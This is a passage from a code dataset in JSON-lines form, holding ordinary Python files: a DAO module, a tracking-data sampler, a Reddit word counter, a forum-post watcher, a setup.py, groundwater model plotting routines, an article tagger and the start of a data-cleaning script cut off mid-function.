for m in mod_map:\r\n mod = modules[m[0]]\r\n for i in range(1, len(m)):\r\n smod = menu[m[i]]\r\n smod['id'] = m[i]\r\n mod['submodules'] = mod.get('submodules', [])\r\n if len(mod['submodules']) == 0:\r\n mod['submodules'].append(smod)\r\n elif len(list(filter(\r\n lambda x: x['id'] == smod['id'],\r\n mod['submodules']\r\n ))) == 0:\r\n mod['submodules'].append(smod)\r\n\r\n mod = mod['submodules'][-1]\r\n\r\n # print(modules)\r\n for i in sorted(modules.keys()):\r\n module_list.append(modules[i])\r\n return module_list\r\n\r\n # Sort out user_module\r\n #defaultdict:若没有字典键,就会返回默认值\r\n modules = defaultdict(dict)\r\n\r\n for um in user_module_list:\r\n modules[um['module_id']['id']].update({\r\n # 'display_idx': um['module_id':['display_idx']],\r\n 'name': um['module_id']['name'],\r\n 'url': um['module_id']['url'],\r\n 'parent_mod_id': um['module_id']['parent_mod_id'],\r\n 'icon': um['module_id']['icon'],\r\n 'ts_create': um['module_id']['ts_create']\r\n })\r\n\r\n out_param = {'module_list': sortRecursiveMenu(modules)}\r\n\r\n return (errno, errmsg, out_param)\r\n#允许一个权限给一个用户\r\n def addRole(self, user_id, role_id):\r\n \"\"\"Grant a role to a user.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n relation = app.orm.RUserRole.create(\r\n user_id=user_id,\r\n role_id=role_id\r\n )\r\n\r\n out_param = model_to_dict(relation, recurse=False)\r\n except app.orm.User.DoesNotExist as e:\r\n errno = 1\r\n errmsg = 'User doesn\\'t exist.'\r\n\r\n except peewee.IntegrityError as e:\r\n errno = 2\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n\r\nclass Role(DAOUtils):\r\n \"\"\"Data operation of Role.\"\"\"\r\n\r\n __ORM_CLASS__ = app.orm.Role\r\n\r\n\r\nclass TestingApplication(DAOUtils):\r\n \"\"\"Data operation of testing_application.\"\"\"\r\n\r\n __ORM_CLASS__ = app.orm.TestingApplication\r\n","sub_path":"app/dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":21499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"644806992","text":"from Dataset.MOT.Storage.MemoryMapped.dataset import MultipleObjectTrackingDataset_MemoryMapped\nimport random\nimport numpy as np\nfrom ._sample_on_valid_frames import sample_on_valid_ids\n\n\ndef mot_dataset_sampler(dataset: MultipleObjectTrackingDataset_MemoryMapped, max_gap, num_search_frames, num_template_frames, frame_sample_mode):\n # Sample a sequence with enough visible frames\n while True:\n # Sample a sequence\n seq_id = random.randint(0, len(dataset) - 1)\n sequence = dataset[seq_id]\n track_id = random.randint(0, sequence.get_number_of_objects() - 1)\n track = sequence.get_object(track_id)\n\n valid_frame_ids = np.zeros(sequence.get_number_of_frames(), dtype=np.bool)\n\n if sequence.has_bounding_box_validity_flag():\n ind = track.get_all_frame_index()[track.get_all_bounding_box_validity_flag()]\n valid_frame_ids[ind] = True\n else:\n valid_frame_ids[track.get_all_frame_index()] = True\n\n if len(valid_frame_ids) >= 20 and sum(valid_frame_ids) > 2 * (num_search_frames + num_template_frames):\n break\n\n template_frame_ids, search_frame_ids = sample_on_valid_ids(valid_frame_ids, frame_sample_mode, max_gap, num_template_frames, num_search_frames)\n return sequence, track, template_frame_ids, search_frame_ids\n","sub_path":"data/pytracking/sampler/mot.py","file_name":"mot.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"156550785","text":"from RedditReader import RedditReader\nimport nltk\nfrom nltk import word_tokenize\nfrom nltk.corpus import stopwords\nclient = RedditReader()\nclient.init()\ntext = client.extractText(client.getSub(\"personalfinance\"),\"hot\",1)\nall = ' '.join(text)\ntokens = word_tokenize(all)\nstopWords = set(stopwords.words('english'))\ntokens = [token for token in tokens if len(token)>1]\ntokens = [token for token in tokens if token not in stopWords]\ntokens = [token.lower() for token in tokens]\nfdist = nltk.FreqDist(tokens)\nprint(fdist)\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"511051351","text":"#!/usr/bin/env python3\n\n#pankgeorg@gmail.com\n#results from shmmy.ntua.gr\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n\nfrom html.parser import HTMLParser\nclass ShmmyLastN(HTMLParser):\n\tdef __init__(self):\n\t\tHTMLParser.__init__(self)\n\t\tself.flag = False\n\t\tself.results = [] \n\t\tself.temp = \"\"\n\t\tself.stack = []\t\n\t\t\n\tdef handle_starttag(self, tag, attrs):\n\t\tself.stack.append(tag)\n\n\t\tif \"div\" == tag:\n\t\t\ttry:\n\t\t\t\tx,y = attrs[0]\n\t\t\texcept:\n\t\t\t\treturn\n\t\telse:\n\t\t\treturn\n\n\t\tif x == \"class\" and y == \"content\" :\n\t\t\tself.stack.append(\"THIS\")\n\t\t\tself.flag = True\n\n\tdef handle_endtag(self, tag):\n\t\tx = self.stack.pop()\n\t\tif x == \"THIS\":\n\t\t\tself.results.append(self.temp)\n\t\t\tself.flag = False\n\t\t\tself.stack.pop()\n\t\t\tself.temp = \"\"\n\t\treturn\n\t\n\tdef handle_data (self, data):\n\t\tif not self.flag: \n\t\t\treturn\n\t\tself.temp += \" \" + data.strip()\n\t\t\nclass ShmmyCountPosts(HTMLParser):\n\tdef __init__(self):\n\t\tHTMLParser.__init__(self)\n\t\tself.flag = False\n\t\tself.found = False\n\t\tself.count = 0\n\n\tdef handle_starttag(self, tag, attrs):\n\t\tif tag == \"div\":\n\t\t\ttry:\n\t\t\t\tx,y = attrs[0]\n\t\t\texcept:\n\t\t\t\treturn\n\t\telse:\n\t\t\treturn\n\t\tif x == \"class\" and y == \"pagination\":\n\t\t\tself.flag = True\n\n\tdef handle_endtag(self, tag):\n\t\tself.flag = False\n\t\treturn\n\n\tdef handle_data(self, data):\n\n\t\tif self.found :\n\t\t\treturn \n\n\t\tif \"Δημοσιεύσεις\" in data:\n\t\t\ttry:\n\n\t\t\t\t#print (data.strip())\n\t\t\t\tself.found = True\n\t\t\t\tself.count = int(data.strip().split()[0])\n\t\t\texcept:\n\t\t\t\tpass\n\t\telse:\n\t\t\treturn\n\n\nimport urllib.request\n\ndef mainprog(start=78):\n\timport datetime\n\tprint(\"Ώρα: \" + str(datetime.datetime.now()))\t\n\tprint()\n\turl = 'https://shmmy.ntua.gr/forum/viewtopic.php?f=290&t=19181'\n\treq = urllib.request.urlopen( url )\n\tdata = str(req.read(),'utf-8')\n\tparser = ShmmyCountPosts()\n\tparser.feed( data )\n\tcount = parser.count\n\n\tprint(bcolors.OKGREEN + \"Έχουν δηλωθεί: \", count, \"αποτελέσματα.\\n\")\n\tprint(\"Τελευταία 5:\\n\")\n\turl2 = ( url +\"&start=\" + str(parser.count -parser.count%20))\n\tdata = str(urllib.request.urlopen(url2).read(),\"utf-8\")\n\t\n\tparser = ShmmyLastN()\n\tparser.feed ( data )\n\tfor pr in parser.results[-5:]:\n\t\tprint(bcolors.HEADER +\"\\t\" + pr.strip() + bcolors.ENDC)\n\t\tprint(bcolors.FAIL + \"\\t________________\\n\" + bcolors.ENDC)\n\n\treturn count\n\nimport time\nimport sys, os, signal\ndef async_mainprog(signum, frame):\n\tmainprog()\n\treturn\n\ndef main():\n\n\t#Signal handling stuff\n\tsignal.signal(64, async_mainprog)\n\n\tif len(sys.argv) >= 2:\n\t\tstart = int(sys.argv[1])\n\telse:\n\t\tstart = 79\n\tc = 0\n\turl = 'https://shmmy.ntua.gr/forum/viewtopic.php?f=290&t=19181'\n\twhile True:\n\t\treq = urllib.request.urlopen( url )\n\t\tdata = str(req.read(),'utf-8')\n\t\tparser = ShmmyCountPosts()\n\t\tparser.feed( data )\n\t\tcount = parser.count\n\t\n\t\tif count <= start: \n\t\t\tprint(\"\\rNothing new (check\", c, \")\",end =\"\")\n\t\t\tc +=1\n\t\telse:\n\t\t\tprint(bcolors.WARNING + \"\\rΝέο αποτέλεσμα διαθέσιμο!\" + bcolors.ENDC)\n\t\t\treply = input(\"Wanna see what it is? [Y/n] (no exits) \")\n\t\t\tif reply in \"yesY \\n\":\n\t\t\t\tmainprog(start)\n\t\t\tif reply in \"exitExitno\":\n\t\t\t\texit(0)\n\t\t\tstart = count\n\n\t\tsys.stdout.flush()\t\t\t\n\t\ttime.sleep(4)\n\n\n\n\n\t\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"shmmy_results.py","file_name":"shmmy_results.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"386649279","text":"#\n# Copyright (c) 2016 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport os\nfrom setuptools import setup, find_packages\n\nproject_name = 'apployer'\n\nversion = '0.0.1'\n\nsetup_dir = os.path.dirname(os.path.abspath(__file__))\nwith open(os.path.join(setup_dir, 'requirements.txt')) as req_file:\n requirements = [lib.split('==')[0] for lib in req_file.readlines()]\nwith open(os.path.join(setup_dir, 'README.md')) as readme_file:\n readme = readme_file.read()\n\n\nsetup(\n name=project_name,\n version=version,\n packages=find_packages(exclude=['tests*']),\n install_requires=requirements,\n entry_points={'console_scripts': ['{0} = {0}.main:cli'.format(project_name)]},\n license='Apache 2.0')\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"397954533","text":"\"\"\"\nThis file contains the plotting functionalities that are available for Pastas.\n\nExamples\n--------\n ml.plot.decomposition()\n\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.ticker import MultipleLocator\nfrom scipy.stats import probplot\n\nfrom .decorators import model_tmin_tmax\nfrom .stats import acf\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass Plotting:\n def __init__(self, ml):\n self.ml = ml # Store a reference to the model class\n\n def __repr__(self):\n msg = \"This module contains all the built-in plotting options that \" \\\n \"are available.\"\n return msg\n\n @model_tmin_tmax\n def plot(self, tmin=None, tmax=None, oseries=True, simulation=True,\n ax=None, figsize=None, legend=True, **kwargs):\n \"\"\"Make a plot of the observed and simulated series.\n\n Parameters\n ----------\n tmin: str or pandas.Timestamp, optional\n tmax: str or pandas.Timestamp, optional\n oseries: bool, optional\n True to plot the observed time series.\n simulation: bool, optional\n True to plot the simulated time series.\n\n Returns\n -------\n ax: matplotlib.axes\n matplotlib axes with the simulated and optionally the observed\n timeseries.\n\n \"\"\"\n if ax is None:\n fig, ax = plt.subplots(figsize=figsize, **kwargs)\n\n ax.set_title(\"Results of {}\".format(self.ml.name))\n\n if oseries:\n o = self.ml.observations()\n o_nu = self.ml.oseries.series.drop(o.index)\n if not o_nu.empty:\n # plot parts of the oseries that are not used in grey\n o_nu.plot(linestyle='', marker='.', color='0.5', label='',\n ax=ax)\n o.plot(linestyle='', marker='.', color='k', ax=ax)\n\n if simulation:\n sim = self.ml.simulate(tmin=tmin, tmax=tmax)\n sim.plot(ax=ax)\n plt.xlim(tmin, tmax)\n plt.ylabel(\"Groundwater levels [meter]\")\n if legend:\n plt.legend()\n plt.tight_layout()\n return ax\n\n @model_tmin_tmax\n def results(self, tmin=None, tmax=None, figsize=(10, 8), **kwargs):\n \"\"\"Plot different results in one window to get a quick overview.\n\n Parameters\n ----------\n tmin: str or pandas.Timestamp, optional\n tmax: str or pandas.Timestamp, optional\n figsize: tuple, optional\n tuple of size 2 to determine the figure size in inches.\n\n Returns\n -------\n matplotlib.axes\n\n \"\"\"\n # Number of rows to make the figure with\n rows = 3 + len(self.ml.stressmodels)\n fig = plt.figure(figsize=figsize, **kwargs)\n # Main frame\n ax1 = plt.subplot2grid((rows, 3), (0, 0), colspan=2, rowspan=2)\n o = self.ml.observations()\n o_nu = self.ml.oseries.series.drop(o.index)\n if not o_nu.empty:\n # plot parts of the oseries that are not used in grey\n o_nu.plot(ax=ax1, linestyle='', marker='.', color='0.5', label='',\n x_compat=True)\n o.plot(ax=ax1, linestyle='', marker='.', color='k', x_compat=True)\n sim = self.ml.simulate(tmin=tmin, tmax=tmax)\n sim.plot(ax=ax1, x_compat=True)\n ax1.legend(loc=(0, 1), ncol=3, frameon=False)\n ax1.set_ylim(min(o.min(), sim.loc[tmin:tmax].min()),\n max(o.max(), sim.loc[tmin:tmax].max()))\n ax1.minorticks_off()\n\n # Residuals and noise\n ax2 = plt.subplot2grid((rows, 3), (2, 0), colspan=2, sharex=ax1)\n res = self.ml.residuals(tmin=tmin, tmax=tmax)\n res.plot(ax=ax2, sharex=ax1, color='k', x_compat=True)\n if self.ml.settings[\"noise\"] and self.ml.noisemodel:\n noise = self.ml.noise(tmin=tmin, tmax=tmax)\n noise.plot(ax=ax2, sharex=ax1, x_compat=True)\n ax2.axhline(0.0, color='k', linestyle='--', zorder=0)\n ax2.legend(loc=(0, 1), ncol=3, frameon=False)\n ax2.minorticks_off()\n\n # Stats frame\n ax3 = plt.subplot2grid((rows, 3), (0, 2), rowspan=3)\n ax3.set_title('Model Information', loc='left')\n\n # Add a row for each stressmodel\n for i, sm in enumerate(self.ml.stressmodels.keys(), start=3):\n ax = plt.subplot2grid((rows, 3), (i, 0), colspan=2, sharex=ax1)\n contrib = self.ml.get_contribution(sm, tmin=tmin, tmax=tmax)\n contrib.plot(ax=ax, sharex=ax1, x_compat=True)\n title = [stress.name for stress in self.ml.stressmodels[sm].stress]\n plt.title(\"Stresses:%s\" % title, loc=\"right\")\n ax.legend(loc=(0, 1), ncol=3, frameon=False)\n if i == 3:\n sharex = None\n else:\n sharex = axb\n axb = plt.subplot2grid((rows, 3), (i, 2), sharex=sharex)\n self.ml.get_step_response(sm).plot(ax=axb)\n ax.minorticks_off()\n\n ax1.set_xlim(tmin, tmax)\n\n plt.tight_layout(pad=0.0)\n\n # Draw parameters table\n parameters = self.ml.parameters.copy()\n parameters['name'] = parameters.index\n cols = [\"name\", \"optimal\", \"stderr\"]\n parameters = parameters.loc[:, cols]\n for name, vals in parameters.loc[:, cols].iterrows():\n parameters.loc[name, \"optimal\"] = '{:.2f}'.format(vals.optimal)\n stderr_perc = np.abs(np.divide(vals.stderr, vals.optimal) * 100)\n parameters.loc[name, \"stderr\"] = '{:.1f}{}'.format(stderr_perc,\n \"\\u0025\")\n ax3.axis('off')\n # loc='upper center'\n ax3.table(bbox=(0., 0., 1.0, 1.0), cellText=parameters.values,\n colWidths=[0.5, 0.25, 0.25], colLabels=cols)\n\n return fig.axes\n\n @model_tmin_tmax\n def decomposition(self, tmin=None, tmax=None, ytick_base=True, split=False,\n figsize=(10, 8), axes=None, name=None,\n return_warmup=False, min_ylim_diff=None, **kwargs):\n \"\"\"Plot the decomposition of a time-series in the different stresses.\n\n Parameters\n ----------\n tmin: str or pandas.Timestamp, optional\n tmax: str or pandas.Timestamp, optional\n ytick_base: Boolean or float, optional\n Make the ytick-base constant if True, set this base to float if\n float.\n split: bool, optional\n Split the stresses in multiple stresses when possible.\n axes: matplotlib.Axes instance, optional\n Matplotlib Axes instance to plot the figure on to.\n figsize: tuple, optional\n tuple of size 2 to determine the figure size in inches.\n name: str, optional\n Name to give the simulated time series in the legend.\n **kwargs: dict, optional\n Optional arguments, passed on to the plt.subplots method.\n\n Returns\n -------\n axes: list of matplotlib.axes\n\n \"\"\"\n o = self.ml.observations()\n\n # determine the simulation\n sim = self.ml.simulate(tmin=tmin, tmax=tmax,\n return_warmup=return_warmup)\n if name is not None:\n sim.name = name\n series = [sim]\n names = ['']\n\n # determine the influence of the different stresses\n for name in self.ml.stressmodels.keys():\n nstress = len(self.ml.stressmodels[name].stress)\n if split and nstress > 1:\n for istress in range(nstress):\n # Try/Except as not all stressmodels support istress\n try:\n contrib = self.ml.get_contribution(\n name, tmin=tmin, tmax=tmax, istress=istress,\n return_warmup=return_warmup\n )\n series.append(contrib)\n names.append(contrib.name)\n except TypeError as e:\n msg = \"keyword split is not supported for \" \\\n \"stressmodel {}.\".format(name)\n logger.error(msg, )\n plt.close()\n raise\n else:\n contrib = self.ml.get_contribution(\n name, tmin=tmin, tmax=tmax, return_warmup=return_warmup\n )\n\n series.append(contrib)\n names.append(contrib.name)\n\n if self.ml.transform:\n series.append(\n self.ml.get_transform_contribution(tmin=tmin, tmax=tmax))\n names.append(self.ml.transform.name)\n\n # determine ylim for every graph, to scale the height\n ylims = [\n (min([sim[tmin:tmax].min(), o[tmin:tmax].min()]),\n max([sim[tmin:tmax].max(), o[tmin:tmax].max()]))]\n for contrib in series[1:]:\n hs = contrib[tmin:tmax]\n if hs.empty:\n if contrib.empty:\n ylims.append((0.0, 0.0))\n else:\n ylims.append((contrib.min(), hs.max()))\n else:\n ylims.append((hs.min(), hs.max()))\n if min_ylim_diff is not None:\n for i, ylim in enumerate(ylims):\n if np.diff(ylim) < min_ylim_diff:\n ylims[i] = (np.mean(ylim) - min_ylim_diff / 2,\n np.mean(ylim) + min_ylim_diff / 2)\n height_ratios = [\n 0.0 if np.isnan(ylim[1] - ylim[0]) else ylim[1] - ylim[0] for ylim\n in ylims]\n\n if axes is None:\n # open a new figure\n fig, axes = plt.subplots(len(series), sharex=True, figsize=figsize,\n gridspec_kw={\n 'height_ratios': height_ratios},\n **kwargs)\n axes = np.atleast_1d(axes)\n o_label = o.name\n set_axes_properties = True\n else:\n if len(axes) != len(series):\n msg = 'Makes sure the number of axes equals the number of ' \\\n 'series'\n raise Exception(msg)\n fig = axes[0].figure\n o_label = ''\n set_axes_properties = False\n\n # plot simulation and observations in top graph\n o_nu = self.ml.oseries.series.drop(o.index)\n if not o_nu.empty:\n # plot parts of the oseries that are not used in grey\n o_nu.plot(linestyle='', marker='.', color='0.5', label='',\n markersize=2, ax=axes[0], x_compat=True)\n o.plot(linestyle='', marker='.', color='k', label=o_label,\n markersize=3, ax=axes[0], x_compat=True)\n sim.plot(ax=axes[0], x_compat=True)\n if set_axes_properties:\n axes[0].set_title('observations vs. simulation')\n axes[0].set_ylim(ylims[0])\n axes[0].grid(which='both')\n axes[0].legend(ncol=3, frameon=False)\n\n if ytick_base and set_axes_properties:\n if isinstance(ytick_base, bool):\n # determine the ytick-spacing of the top graph\n yticks = axes[0].yaxis.get_ticklocs()\n if len(yticks) > 1:\n ytick_base = yticks[1] - yticks[0]\n else:\n ytick_base = None\n axes[0].yaxis.set_major_locator(\n MultipleLocator(base=ytick_base))\n\n # plot the influence of the stresses\n for i, contrib in enumerate(series[1:], start=1):\n contrib.plot(ax=axes[i], x_compat=True)\n if set_axes_properties:\n if ytick_base:\n # set the ytick-spacing equal to the top graph\n axes[i].yaxis.set_major_locator(\n MultipleLocator(base=ytick_base))\n\n axes[i].set_title(names[i])\n axes[i].set_ylim(ylims[i])\n axes[i].grid(which='both')\n axes[i].minorticks_off()\n if set_axes_properties:\n axes[0].set_xlim(tmin, tmax)\n fig.tight_layout(pad=0.0)\n\n return axes\n\n @model_tmin_tmax\n def diagnostics(self, tmin=None, tmax=None, figsize=(10, 8), **kwargs):\n \"\"\"Plot a window that helps in diagnosing basic model assumptions.\n\n Parameters\n ----------\n tmin\n tmax\n\n Returns\n -------\n matplotlib.axes\n\n \"\"\"\n if self.ml.settings[\"noise\"]:\n res = self.ml.noise(tmin=tmin, tmax=tmax)\n else:\n res = self.ml.residuals(tmin=tmin, tmax=tmax)\n\n fig = plt.figure(figsize=figsize, **kwargs)\n\n shape = (2, 3)\n ax = plt.subplot2grid(shape, (0, 0), colspan=2, rowspan=1)\n ax.set_title(res.name)\n res.plot(ax=ax)\n\n ax1 = plt.subplot2grid(shape, (1, 0), colspan=2, rowspan=1)\n ax1.set_ylabel('Autocorrelation')\n conf = 1.96 / np.sqrt(res.index.size)\n r = acf(res)\n\n ax1.axhline(conf, linestyle='--', color=\"dimgray\")\n ax1.axhline(-conf, linestyle='--', color=\"dimgray\")\n ax1.stem(r.index, r.values, basefmt=\"gray\")\n ax1.set_xlim(r.index.min(), r.index.max())\n ax1.set_xlabel(\"Lag (Days)\")\n\n ax2 = plt.subplot2grid(shape, (0, 2), colspan=1, rowspan=1)\n res.hist(bins=20, ax=ax2)\n\n ax3 = plt.subplot2grid(shape, (1, 2), colspan=1, rowspan=1)\n probplot(res, plot=ax3, dist=\"norm\", rvalue=True)\n\n c = ax.get_lines()[0]._color\n ax3.get_lines()[0].set_color(c)\n\n plt.tight_layout(pad=0.0)\n return plt.gca()\n\n def block_response(self, stressmodels=None, ax=None, figsize=None,\n **kwargs):\n \"\"\"Plot the block response for a specific stressmodels.\n\n Parameters\n ----------\n stressmodels: list, optional\n List with the stressmodels to plot the block response for.\n\n Returns\n -------\n matplotlib.axes\n matplotlib axes instance.\n\n \"\"\"\n if ax is None:\n fig, ax = plt.subplots(figsize=figsize, **kwargs)\n\n if not stressmodels:\n stressmodels = self.ml.stressmodels.keys()\n\n legend = []\n\n for name in stressmodels:\n if hasattr(self.ml.stressmodels[name], 'rfunc'):\n self.ml.get_block_response(name).plot(ax=ax)\n legend.append(name)\n else:\n logger.warning(\"Stressmodel {} not in stressmodels \"\n \"list.\".format(name))\n\n plt.xlim(0)\n plt.xlabel(\"Time [days]\")\n plt.legend(legend)\n return ax\n\n def step_response(self, stressmodels=None, ax=None, figsize=None,\n **kwargs):\n \"\"\"Plot the block response for a specific stressmodels.\n\n Parameters\n ----------\n stressmodels: list, optional\n List with the stressmodels to plot the block response for.\n\n Returns\n -------\n matplotlib.axes\n matplotlib axes instance.\n\n \"\"\"\n if ax is None:\n fig, ax = plt.subplots(figsize=figsize, **kwargs)\n\n if not stressmodels:\n stressmodels = self.ml.stressmodels.keys()\n\n legend = []\n\n for name in stressmodels:\n if hasattr(self.ml.stressmodels[name], 'rfunc'):\n self.ml.get_step_response(name).plot(ax=ax)\n legend.append(name)\n else:\n logger.warning(\"Stressmodel {} not in stressmodels \"\n \"list.\".format(name))\n\n plt.xlim(0)\n plt.xlabel(\"Time [days]\")\n plt.legend(legend)\n return ax\n\n @model_tmin_tmax\n def stresses(self, tmin=None, tmax=None, cols=1, split=True, sharex=True,\n figsize=(10, 8), **kwargs):\n \"\"\"This method creates a graph with all the stresses used in the\n model.\n\n Parameters\n ----------\n tmin\n tmax\n cols: int\n number of columns used for plotting.\n\n Returns\n -------\n axes: matplotlib.axes\n matplotlib axes instance.\n\n \"\"\"\n stresses = []\n\n for name in self.ml.stressmodels.keys():\n nstress = len(self.ml.stressmodels[name].stress)\n if split and nstress > 1:\n for istress in range(nstress):\n stress = self.ml.get_stress(name, istress=istress)\n stresses.append(stress)\n else:\n stress = self.ml.get_stress(name)\n if isinstance(stress, list):\n stresses.extend(stress)\n else:\n stresses.append(stress)\n\n rows = len(stresses)\n rows = -(-rows // cols) # round up with out additional import\n\n fig, axes = plt.subplots(rows, cols, sharex=sharex, figsize=figsize,\n **kwargs)\n\n if hasattr(axes, \"flatten\"):\n axes = axes.flatten()\n else:\n axes = [axes]\n\n for ax, stress in zip(axes, stresses):\n stress.plot(ax=ax)\n ax.legend([stress.name], loc=2)\n\n plt.xlim(tmin, tmax)\n fig.tight_layout(pad=0.0)\n\n return axes\n\n @model_tmin_tmax\n def contributions_pie(self, tmin=None, tmax=None, ax=None,\n figsize=None, **kwargs):\n \"\"\"Make a pie chart of the contributions. This plot is based on the\n TNO Groundwatertoolbox.\n\n Parameters\n ----------\n tmin\n tmax\n ax: matplotlib.axes, optional\n Axes to plot the pie chart on. A new figure and axes will be\n created of not providided.\n kwargs: dict, optional\n The keyword arguments are passed on to plt.pie.\n\n Returns\n -------\n ax: matplotlib.axes\n\n \"\"\"\n if ax is None:\n fig, ax = plt.subplots(figsize=figsize, **kwargs)\n\n frac = []\n for name in self.ml.stressmodels.keys():\n frac.append(np.abs(self.ml.get_contribution(name, tmin=tmin,\n tmax=tmax)).sum())\n\n evp = self.ml.stats.evp(tmin=tmin) / 100\n frac = np.array(frac) / sum(frac) * evp\n frac = frac.tolist()\n frac.append(1 - evp)\n frac = np.array(frac)\n labels = list(self.ml.stressmodels.keys())\n labels.append(\"Unexplained\")\n ax.pie(frac, labels=labels, autopct='%1.1f%%', startangle=90,\n wedgeprops=dict(width=1, edgecolor='w'))\n ax.axis('equal')\n return ax\n","sub_path":"pastas/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":18712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"424789430","text":"import sys\nimport os\nimport pickle\nimport argparse\n\nfrom nltk import word_tokenize\nfrom nltk.stem import WordNetLemmatizer\nimport pandas as pd\n\n\nMODEL_LOCATION = '../python_models/binary-stemmed-logistic/'\n\nclass LemmaTokenizer(object):\n def __init__(self):\n self.wnl = WordNetLemmatizer()\n def __call__(self, doc):\n return [self.wnl.lemmatize(t) for t in word_tokenize(doc)]\n\n\ndef tag_string(clf, vectorizer, s):\n tags = ['OEMC', 'CPD', 'SAO', 'CCCC', 'CCJ', 'CCSP',\n 'CPUB', 'IDOC', 'DOMV', 'SEXA', 'POLB', 'POLM',\n 'GUNV', 'GLBTQ', 'JUVE', 'REEN', 'VIOL', 'BEAT',\n 'PROB', 'PARL', 'CPLY', 'DRUG', 'CPS', 'GANG', 'ILSP',\n 'HOMI', 'IPRA', 'CPBD', 'IMMG', 'ENVI', 'UNSPC',\n 'ILSC', 'ARSN', 'BURG', 'DUI', 'FRUD', 'ROBB', 'TASR']\n\n preds = clf.predict_proba(vectorizer.transform([s.replace('\\n', ' ')]))\n preds = pd.DataFrame(preds)\n preds.columns = tags\n return preds.T[0].sort_values(ascending=False)\n\n\ndef load_model(location=MODEL_LOCATION):\n with open(os.path.join(location, 'model.pkl'), 'rb') as f:\n clf = pickle.load(f)\n\n with open(os.path.join(location, 'vectorizer.pkl'), 'rb') as f:\n vectorizer = pickle.load(f)\n\n return clf, vectorizer\n\n\nif __name__ == '__main__':\n clf, vectorizer = load_model()\n\n if len(sys.argv) == 1:\n s = sys.stdin.read()\n preds = tag_string(clf, vectorizer, s)\n preds = preds.sort_values(ascending=False)\n for tag, prob in zip(preds.index, preds.values):\n print('{: >5}, {:.9f}'.format(tag, prob))\n else:\n for filename in sys.argv[1:]:\n with open(filename) as f_in:\n preds = tag_string(clf, vectorizer, f_in.read())\n preds = preds.sort_values(ascending=False)\n with open(filename + '.tagged', 'w') as f_out:\n for tag, prob in zip(preds.index, preds.values):\n f_out.write('{: >5}, {:.9f}\\n'.format(tag, prob))\n","sub_path":"src/tag_article.py","file_name":"tag_article.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"109896243","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nfrom dateutil import parser\nimport re\nfrom datetime import date\nimport datetime\nfrom collections import defaultdict\nimport datetime\n\n\n# In[2]:\n\n\n\nstarttime = datetime.datetime.now()\ndf = pd.read_csv('TLC_New_Driver_Application_Status_Test.csv', converters=defaultdict(lambda i: str))\n#pd.read_csv(file_or_buffer, converters=defaultdict(lambda i: str))\nrows,cols = df.shape\n#print(rows,cols)\n#df.head(2)\n#df.to_csv('C:\\\\NyuStudy\\\\bigdata\\\\TLC_New_Driver_Application_Status2.csv')\n\n\n# In[3]:\n\n\nnoneDic = {'','NULL','None','N','nan','naT','null','none','NUL','NOP','nop','no data','NA','NaN'}\nnoneDic1 = {'∅','---','—','_','--','n/a','999','999-999-999'}\nnoneDic = noneDic | noneDic1\n\nNONEVALUE = 'NONEVALUE'\nINVALID = 'INVALID'\nVALID = 'VALID'\nNOTAPPLICABLE = 'Not Applicable'\n\nFORMATERROR = '(FORMATERROR)'\nMISSPELLING = '(MISSPELLING)'\nOUTLIER = '(OUTLIER)'\nCOOCCURRENCEERROR = '(OOCCURRENCEERROR)'\n\nFIT = 'FIT'\nMISSPELLING_OTHER = 'MISSPELLING_OTHER'\nNOTFIT = 'NOTFIT'\nNOT_APPLICABLE = 'NOT APPLICABLE'\nSEMANTICOUTLIER = '(SEMANTIC OUTLIER)'\n\n\n# In[4]:\n\n\ndef isValidDate(year, month, day):\n try:\n date(year, month, day)\n except:\n return False\n else:\n return True\n#print(isValidDate(1997,int('04'),22))\n\n\n# In[5]:\n\n\ndef verify_date_str_lawyer(datetime_str):\n try: \n datetime.datetime.strptime(datetime_str, '%I:%M:%S') \n return True \n except ValueError:\n return False\n#print(verify_date_str_lawyer('11/27/2020 12:00:03'))\n\n\n# In[6]:\n\n\ndef DateCheckWithoutHour(s):\n # to see if data is none value \n if s in noneDic:\n return NONEVALUE\n if s == 'Not Applicable':\n return NOT_APPLICABLE\n \n temp_date = re.findall(r'[0-9]+',s)\n length_date = len(temp_date)\n if length_date != 3:\n return INVALID\n \n temp_format_date = [len(temp_date[0]),len(temp_date[1]),len(temp_date[2])]\n if temp_format_date == [2,2,4]:\n standard_foramt_date = '/'.join(temp_date)\n elif len(temp_date[0]) == [4,2,2]:\n 